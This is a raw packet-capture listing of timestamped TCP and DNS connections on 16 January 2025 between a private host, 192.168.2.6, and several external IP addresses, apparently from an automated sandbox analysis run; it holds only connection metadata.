Jan 16, 2025 17:20:27.257352114 CET	49765	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.258229971 CET	49764	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.258239031 CET	443	49764	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.258616924 CET	49765	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.258630037 CET	443	49765	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.727346897 CET	443	49765	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.727618933 CET	49765	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.727652073 CET	443	49765	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.728743076 CET	443	49765	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.728823900 CET	49765	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.729326963 CET	49765	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.729348898 CET	49765	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.729394913 CET	49765	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.729401112 CET	443	49765	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.729573011 CET	443	49765	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.729669094 CET	49765	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.729686022 CET	49765	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.729754925 CET	49768	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.729793072 CET	443	49768	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.730976105 CET	49768	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.731287003 CET	49768	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.731297970 CET	443	49768	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.739516020 CET	443	49764	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.739878893 CET	49764	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.739906073 CET	443	49764	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.740932941 CET	443	49764	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.740995884 CET	49764	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.741352081 CET	49764	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.741404057 CET	443	49764	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.741426945 CET	49764	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.741489887 CET	49764	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.741497993 CET	443	49764	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.741529942 CET	49764	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.741540909 CET	49764	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.742044926 CET	49769	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.742082119 CET	443	49769	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.742321014 CET	49769	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.742598057 CET	49769	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.742608070 CET	443	49769	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:28.239608049 CET	443	49768	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:28.239991903 CET	49768	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:28.240001917 CET	443	49768	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:28.241024971 CET	443	49768	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:28.241084099 CET	49768	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:28.241434097 CET	49768	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:28.241487026 CET	443	49768	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:28.241569042 CET	49768	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:28.259855986 CET	443	49769	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:28.260106087 CET	49769	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:28.260123968 CET	443	49769	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:28.261132956 CET	443	49769	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:28.261303902 CET	49769	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:28.261512041 CET	49769	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:28.261574030 CET	443	49769	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:28.261660099 CET	49769	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:28.261667013 CET	443	49769	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:28.281277895 CET	49768	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:28.281285048 CET	443	49768	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:28.311881065 CET	49769	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:28.327099085 CET	49768	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:28.602380991 CET	443	49768	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:28.602478027 CET	443	49768	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:28.602554083 CET	49768	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:28.603388071 CET	49768	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:28.603409052 CET	443	49768	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:28.619915962 CET	49772	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:28.619965076 CET	443	49772	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:28.620054960 CET	49772	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:28.620527983 CET	49772	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:28.620541096 CET	443	49772	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:28.627537966 CET	443	49769	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:28.627636909 CET	443	49769	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:28.627686977 CET	49769	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:28.628638029 CET	49769	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:28.628654003 CET	443	49769	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:28.632510900 CET	49773	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:28.632544041 CET	443	49773	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:28.632688999 CET	49773	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:28.632973909 CET	49773	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:28.632987022 CET	443	49773	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:28.708010912 CET	49774	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:28.708055019 CET	443	49774	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:28.708108902 CET	49774	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:28.708611012 CET	49774	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:28.708621979 CET	443	49774	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:28.716768026 CET	49776	443	192.168.2.6	13.32.99.51
Jan 16, 2025 17:20:28.716808081 CET	443	49776	13.32.99.51	192.168.2.6
Jan 16, 2025 17:20:28.716953039 CET	49776	443	192.168.2.6	13.32.99.51
Jan 16, 2025 17:20:28.721024036 CET	49776	443	192.168.2.6	13.32.99.51
Jan 16, 2025 17:20:28.721040010 CET	443	49776	13.32.99.51	192.168.2.6
Jan 16, 2025 17:20:29.135039091 CET	443	49772	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:29.139456034 CET	443	49773	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:29.142245054 CET	49772	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:29.142260075 CET	443	49772	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:29.142539978 CET	49773	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:29.142559052 CET	443	49773	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:29.143436909 CET	443	49772	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:29.143513918 CET	49772	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:29.145782948 CET	443	49773	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:29.146028996 CET	49773	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:29.152506113 CET	49772	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:29.152559042 CET	49772	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:29.152643919 CET	443	49772	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:29.152654886 CET	49772	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:29.152704954 CET	49772	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:29.196980000 CET	443	49774	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:29.248750925 CET	49774	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:29.288141012 CET	49778	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:29.288199902 CET	443	49778	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:29.288296938 CET	49778	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:29.294461966 CET	49773	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:29.294461966 CET	49773	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:29.294821024 CET	443	49773	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:29.295464039 CET	49773	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:29.295464039 CET	49773	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:29.295488119 CET	443	49773	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:29.295511007 CET	443	49773	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:29.295618057 CET	49773	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:29.295928955 CET	49773	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:29.298800945 CET	49779	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:29.298839092 CET	443	49779	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:29.299401999 CET	49779	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:29.299938917 CET	49774	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:29.299961090 CET	443	49774	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:29.301134109 CET	443	49774	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:29.301151991 CET	443	49774	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:29.301198006 CET	49774	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:29.301702976 CET	49778	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:29.301721096 CET	443	49778	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:29.305073023 CET	49779	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:29.305090904 CET	443	49779	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:29.305979967 CET	49774	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:29.305979967 CET	49774	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:29.306098938 CET	49774	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:29.306138039 CET	443	49774	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:29.306193113 CET	49774	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:29.306411982 CET	49780	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:29.306442022 CET	443	49780	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:29.306509972 CET	49780	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:29.308167934 CET	49780	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:29.308183908 CET	443	49780	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:29.454024076 CET	443	49776	13.32.99.51	192.168.2.6
Jan 16, 2025 17:20:29.454297066 CET	49776	443	192.168.2.6	13.32.99.51
Jan 16, 2025 17:20:29.454315901 CET	443	49776	13.32.99.51	192.168.2.6
Jan 16, 2025 17:20:29.455822945 CET	443	49776	13.32.99.51	192.168.2.6
Jan 16, 2025 17:20:29.455893993 CET	49776	443	192.168.2.6	13.32.99.51
Jan 16, 2025 17:20:29.457014084 CET	49776	443	192.168.2.6	13.32.99.51
Jan 16, 2025 17:20:29.457113981 CET	443	49776	13.32.99.51	192.168.2.6
Jan 16, 2025 17:20:29.457284927 CET	49776	443	192.168.2.6	13.32.99.51
Jan 16, 2025 17:20:29.457294941 CET	443	49776	13.32.99.51	192.168.2.6
Jan 16, 2025 17:20:29.498564005 CET	49776	443	192.168.2.6	13.32.99.51
Jan 16, 2025 17:20:29.720984936 CET	443	49776	13.32.99.51	192.168.2.6
Jan 16, 2025 17:20:29.721095085 CET	443	49776	13.32.99.51	192.168.2.6
Jan 16, 2025 17:20:29.721138954 CET	49776	443	192.168.2.6	13.32.99.51
Jan 16, 2025 17:20:29.721867085 CET	49776	443	192.168.2.6	13.32.99.51
Jan 16, 2025 17:20:29.721883059 CET	443	49776	13.32.99.51	192.168.2.6
Jan 16, 2025 17:20:29.736212015 CET	49781	443	192.168.2.6	18.245.31.129
Jan 16, 2025 17:20:29.736243963 CET	443	49781	18.245.31.129	192.168.2.6
Jan 16, 2025 17:20:29.736315966 CET	49781	443	192.168.2.6	18.245.31.129
Jan 16, 2025 17:20:29.736525059 CET	49781	443	192.168.2.6	18.245.31.129
Jan 16, 2025 17:20:29.736534119 CET	443	49781	18.245.31.129	192.168.2.6
Jan 16, 2025 17:20:29.771873951 CET	443	49778	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:29.772134066 CET	49778	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:29.772151947 CET	443	49778	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:29.773158073 CET	443	49778	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:29.773222923 CET	49778	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:29.773327112 CET	443	49779	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:29.773513079 CET	49778	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:29.773567915 CET	443	49778	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:29.773660898 CET	49779	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:29.773679972 CET	443	49779	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:29.773777008 CET	49778	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:29.773783922 CET	443	49778	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:29.774740934 CET	443	49779	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:29.774802923 CET	49779	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:29.775077105 CET	49779	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:29.775142908 CET	443	49779	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:29.775165081 CET	49779	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:29.811520100 CET	443	49780	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:29.811736107 CET	49780	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:29.811749935 CET	443	49780	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:29.812098026 CET	443	49780	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:29.812395096 CET	49780	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:29.812449932 CET	443	49780	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:29.812527895 CET	49780	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:29.819327116 CET	443	49779	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:29.826679945 CET	49779	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:29.826694965 CET	443	49779	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:29.826694012 CET	49778	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:29.855339050 CET	443	49780	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:29.873611927 CET	49779	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:30.070909023 CET	443	49778	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:30.071024895 CET	443	49778	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:30.071074963 CET	49778	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:30.071753979 CET	49778	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:30.071770906 CET	443	49778	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:30.114583015 CET	443	49779	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:30.114686012 CET	443	49779	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:30.114825964 CET	49779	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:30.116558075 CET	49779	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:30.116578102 CET	443	49779	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:30.179085016 CET	443	49780	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:30.179194927 CET	443	49780	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:30.179305077 CET	49780	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:30.181049109 CET	49780	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:30.181061029 CET	443	49780	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:30.186404943 CET	49782	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:30.186436892 CET	443	49782	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:30.187042952 CET	49782	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:30.187042952 CET	49782	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:30.187076092 CET	443	49782	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:30.467940092 CET	443	49781	18.245.31.129	192.168.2.6
Jan 16, 2025 17:20:30.468178988 CET	49781	443	192.168.2.6	18.245.31.129
Jan 16, 2025 17:20:30.468188047 CET	443	49781	18.245.31.129	192.168.2.6
Jan 16, 2025 17:20:30.470561028 CET	443	49781	18.245.31.129	192.168.2.6
Jan 16, 2025 17:20:30.470647097 CET	49781	443	192.168.2.6	18.245.31.129
Jan 16, 2025 17:20:30.471400023 CET	49781	443	192.168.2.6	18.245.31.129
Jan 16, 2025 17:20:30.471456051 CET	49781	443	192.168.2.6	18.245.31.129
Jan 16, 2025 17:20:30.471532106 CET	443	49781	18.245.31.129	192.168.2.6
Jan 16, 2025 17:20:30.514235020 CET	49781	443	192.168.2.6	18.245.31.129
Jan 16, 2025 17:20:30.514246941 CET	443	49781	18.245.31.129	192.168.2.6
Jan 16, 2025 17:20:30.560988903 CET	49781	443	192.168.2.6	18.245.31.129
Jan 16, 2025 17:20:31.005968094 CET	443	49781	18.245.31.129	192.168.2.6
Jan 16, 2025 17:20:31.006052017 CET	443	49781	18.245.31.129	192.168.2.6
Jan 16, 2025 17:20:31.006109953 CET	49781	443	192.168.2.6	18.245.31.129
Jan 16, 2025 17:20:31.008147001 CET	49781	443	192.168.2.6	18.245.31.129
Jan 16, 2025 17:20:31.008172035 CET	443	49781	18.245.31.129	192.168.2.6
Jan 16, 2025 17:20:31.111879110 CET	443	49782	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:31.112339973 CET	49782	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:31.112349987 CET	443	49782	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:31.113442898 CET	443	49782	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:31.113842964 CET	49782	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:31.113842964 CET	49782	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:31.113843918 CET	49782	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:31.113934994 CET	443	49782	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:31.114013910 CET	49782	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:31.114151955 CET	443	49782	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:31.114227057 CET	49782	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:31.114227057 CET	49782	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:31.114228010 CET	49783	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:31.114270926 CET	443	49783	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:31.114742041 CET	49783	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:31.114742041 CET	49783	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:31.114783049 CET	443	49783	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:31.596712112 CET	443	49783	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:31.599332094 CET	49783	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:31.599353075 CET	443	49783	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:31.599694014 CET	443	49783	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:31.604293108 CET	49783	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:31.604384899 CET	443	49783	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:31.605190992 CET	49783	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:31.647336006 CET	443	49783	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:31.925120115 CET	443	49783	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:31.925246954 CET	443	49783	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:31.925291061 CET	49783	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:31.926565886 CET	49783	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:20:31.926589012 CET	443	49783	104.21.94.195	192.168.2.6
Jan 16, 2025 17:20:32.466001987 CET	443	49746	66.63.187.216	192.168.2.6
Jan 16, 2025 17:20:32.466065884 CET	443	49746	66.63.187.216	192.168.2.6
Jan 16, 2025 17:20:32.466135025 CET	49746	443	192.168.2.6	66.63.187.216
Jan 16, 2025 17:20:32.823616028 CET	56922	53	192.168.2.6	162.159.36.2
Jan 16, 2025 17:20:32.828486919 CET	53	56922	162.159.36.2	192.168.2.6
Jan 16, 2025 17:20:32.828579903 CET	56922	53	192.168.2.6	162.159.36.2
Jan 16, 2025 17:20:32.833395004 CET	53	56922	162.159.36.2	192.168.2.6
Jan 16, 2025 17:20:33.276148081 CET	56922	53	192.168.2.6	162.159.36.2
Jan 16, 2025 17:20:33.282213926 CET	53	56922	162.159.36.2	192.168.2.6
Jan 16, 2025 17:20:33.282823086 CET	56922	53	192.168.2.6	162.159.36.2
Jan 16, 2025 17:20:33.405905008 CET	49746	443	192.168.2.6	66.63.187.216
Jan 16, 2025 17:20:33.405941010 CET	443	49746	66.63.187.216	192.168.2.6
Jan 16, 2025 17:20:33.522900105 CET	80	49755	66.63.187.216	192.168.2.6
Jan 16, 2025 17:20:33.522927999 CET	80	49755	66.63.187.216	192.168.2.6
Jan 16, 2025 17:20:33.522993088 CET	49755	80	192.168.2.6	66.63.187.216
Jan 16, 2025 17:20:34.195427895 CET	80	49754	66.63.187.216	192.168.2.6
Jan 16, 2025 17:20:34.195638895 CET	49754	80	192.168.2.6	66.63.187.216
Jan 16, 2025 17:20:34.424684048 CET	49754	80	192.168.2.6	66.63.187.216
Jan 16, 2025 17:20:34.429528952 CET	80	49754	66.63.187.216	192.168.2.6
Jan 16, 2025 17:20:36.285047054 CET	443	49761	216.58.206.36	192.168.2.6
Jan 16, 2025 17:20:36.285162926 CET	443	49761	216.58.206.36	192.168.2.6
Jan 16, 2025 17:20:36.285278082 CET	49761	443	192.168.2.6	216.58.206.36
Jan 16, 2025 17:20:37.405961990 CET	49761	443	192.168.2.6	216.58.206.36
Jan 16, 2025 17:20:37.405997992 CET	443	49761	216.58.206.36	192.168.2.6
Jan 16, 2025 17:20:45.269546986 CET	443	49758	186.64.116.70	192.168.2.6
Jan 16, 2025 17:20:45.269733906 CET	443	49758	186.64.116.70	192.168.2.6
Jan 16, 2025 17:20:45.269795895 CET	49758	443	192.168.2.6	186.64.116.70
Jan 16, 2025 17:20:45.405920982 CET	49758	443	192.168.2.6	186.64.116.70
Jan 16, 2025 17:20:45.405946016 CET	443	49758	186.64.116.70	192.168.2.6
Jan 16, 2025 17:21:17.962048054 CET	443	49717	13.107.246.45	192.168.2.6
Jan 16, 2025 17:21:17.962085009 CET	443	49717	13.107.246.45	192.168.2.6
Jan 16, 2025 17:21:17.962099075 CET	443	49717	13.107.246.45	192.168.2.6
Jan 16, 2025 17:21:17.962162971 CET	49717	443	192.168.2.6	13.107.246.45
Jan 16, 2025 17:21:17.963046074 CET	49717	443	192.168.2.6	13.107.246.45
Jan 16, 2025 17:21:17.967814922 CET	443	49717	13.107.246.45	192.168.2.6
Jan 16, 2025 17:21:18.529009104 CET	49755	80	192.168.2.6	66.63.187.216
Jan 16, 2025 17:21:18.533998966 CET	80	49755	66.63.187.216	192.168.2.6
Jan 16, 2025 17:21:22.755335093 CET	57920	53	192.168.2.6	1.1.1.1
Jan 16, 2025 17:21:22.760195971 CET	53	57920	1.1.1.1	192.168.2.6
Jan 16, 2025 17:21:22.760276079 CET	57920	53	192.168.2.6	1.1.1.1
Jan 16, 2025 17:21:22.765063047 CET	53	57920	1.1.1.1	192.168.2.6
Jan 16, 2025 17:21:23.251606941 CET	57920	53	192.168.2.6	1.1.1.1
Jan 16, 2025 17:21:23.256740093 CET	53	57920	1.1.1.1	192.168.2.6
Jan 16, 2025 17:21:23.257045031 CET	57920	53	192.168.2.6	1.1.1.1
Jan 16, 2025 17:21:23.405905008 CET	49755	80	192.168.2.6	66.63.187.216
Jan 16, 2025 17:21:23.405905008 CET	49755	80	192.168.2.6	66.63.187.216
Jan 16, 2025 17:21:23.411015034 CET	80	49755	66.63.187.216	192.168.2.6
Jan 16, 2025 17:21:23.411180019 CET	49755	80	192.168.2.6	66.63.187.216
Jan 16, 2025 17:21:25.639584064 CET	57922	443	192.168.2.6	216.58.206.36
Jan 16, 2025 17:21:25.639647007 CET	443	57922	216.58.206.36	192.168.2.6
Jan 16, 2025 17:21:25.640964985 CET	57922	443	192.168.2.6	216.58.206.36
Jan 16, 2025 17:21:25.641215086 CET	57922	443	192.168.2.6	216.58.206.36
Jan 16, 2025 17:21:25.641231060 CET	443	57922	216.58.206.36	192.168.2.6
Jan 16, 2025 17:21:25.904211998 CET	49709	80	192.168.2.6	2.23.77.188
Jan 16, 2025 17:21:25.904297113 CET	49708	80	192.168.2.6	199.232.214.172
Jan 16, 2025 17:21:25.904304981 CET	49707	443	192.168.2.6	40.126.32.74
Jan 16, 2025 17:21:25.904314041 CET	49713	443	192.168.2.6	40.126.32.74
Jan 16, 2025 17:21:25.909904957 CET	80	49709	2.23.77.188	192.168.2.6
Jan 16, 2025 17:21:25.909995079 CET	49709	80	192.168.2.6	2.23.77.188
Jan 16, 2025 17:21:25.910887003 CET	443	49707	40.126.32.74	192.168.2.6
Jan 16, 2025 17:21:25.910900116 CET	80	49708	199.232.214.172	192.168.2.6
Jan 16, 2025 17:21:25.910912991 CET	443	49713	40.126.32.74	192.168.2.6
Jan 16, 2025 17:21:25.910952091 CET	49707	443	192.168.2.6	40.126.32.74
Jan 16, 2025 17:21:25.910957098 CET	49708	80	192.168.2.6	199.232.214.172
Jan 16, 2025 17:21:25.910986900 CET	49713	443	192.168.2.6	40.126.32.74
Jan 16, 2025 17:21:26.285782099 CET	443	57922	216.58.206.36	192.168.2.6
Jan 16, 2025 17:21:26.286082983 CET	57922	443	192.168.2.6	216.58.206.36
Jan 16, 2025 17:21:26.286113977 CET	443	57922	216.58.206.36	192.168.2.6
Jan 16, 2025 17:21:26.287309885 CET	443	57922	216.58.206.36	192.168.2.6
Jan 16, 2025 17:21:26.287636995 CET	57922	443	192.168.2.6	216.58.206.36
Jan 16, 2025 17:21:26.287813902 CET	443	57922	216.58.206.36	192.168.2.6
Jan 16, 2025 17:21:26.341535091 CET	57922	443	192.168.2.6	216.58.206.36
Jan 16, 2025 17:21:28.060354948 CET	49710	80	192.168.2.6	2.23.77.188
Jan 16, 2025 17:21:28.060408115 CET	49711	80	192.168.2.6	199.232.214.172
Jan 16, 2025 17:21:28.060465097 CET	49715	80	192.168.2.6	199.232.214.172
Jan 16, 2025 17:21:28.065579891 CET	80	49710	2.23.77.188	192.168.2.6
Jan 16, 2025 17:21:28.065634966 CET	49710	80	192.168.2.6	2.23.77.188
Jan 16, 2025 17:21:28.066014051 CET	80	49711	199.232.214.172	192.168.2.6
Jan 16, 2025 17:21:28.066025972 CET	80	49715	199.232.214.172	192.168.2.6
Jan 16, 2025 17:21:28.066071033 CET	49711	80	192.168.2.6	199.232.214.172
Jan 16, 2025 17:21:28.066085100 CET	49715	80	192.168.2.6	199.232.214.172
Jan 16, 2025 17:21:29.201236963 CET	49712	443	192.168.2.6	40.126.32.74
Jan 16, 2025 17:21:29.204688072 CET	49718	443	192.168.2.6	40.126.32.74
